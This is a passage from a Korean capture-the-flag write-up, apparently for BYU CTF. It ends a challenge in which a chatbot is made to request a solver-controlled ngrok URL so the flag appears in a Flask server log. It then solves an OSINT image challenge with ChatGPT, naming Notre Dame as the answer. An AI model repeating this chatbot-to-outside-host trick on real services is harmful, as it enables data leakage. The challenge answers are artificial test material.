이후 Flask 웹 애플리케이션의 LOG_SERVER 주소를 앞서 복사한 ngrok URL로 변경하고 Flask 웹 애플리케이션을 재시작합니다.
위 과정을 통해 확인한 ngrok 의 주소를 다시 챗봇에게 전달하면 다음과 같이 챗봇에서 해당 주소로 접근이 이루어진 것을 확인할 수 있으며,
Flask 웹 애플리케이션 서버 로그에서는 플래그 정보를 획득할 수 있습니다.

OSINT Challenges

Universal-ty

When Cameron Snider was in high school, he took a day-trip to visit a university he was interested in attending. He would have gone here if he didn’t go to BYU. What school did he visit? Flag format: byuctf{Name_of_University}
Plain Text
복사

Description

이번 문제에서는 이미지 파일을 제공했는데, 이 이미지는 다음과 같이 신호를 기다리고 있는 차 안에서 건물이 살짝 보이게 찍힌 이미지입니다.
문제 설명을 살펴보면, ‘Cameron Snider’가 BYU에 가지 않았더라면 저 이미지 속 학교에 진학했을 거라고 해당 학교가 어디인지 물어보고있습니다.
if he didn’t go to BYU. What school did he visit?
Plain Text
복사

Solution

Chat GPT를 이용하여 문제에서 제공한 이미지를 업로드한 뒤, 해당 학교가 어디인지 물어봤습니다.
그 결과, 위와 같이 학교 이름이 ‘노트르담 대학교(University of Notre Dame)’라는 것을 확인할 수 있었고 해당 학교를 구글 스트리트 뷰로 확인한 결과 문제에서 제공하는 이미지와 동일한 위치인 것을 알 수 있었습니다.

Exploit

플래그를 획득하기 위해 문제에서 설명한 플래그 포맷 byuctf{Name_of_University} 에 맞추어 다시 ChatGPT에 질문을 던졌고 아래와 같이 플래그 정보를 획득할 수 있었습니다.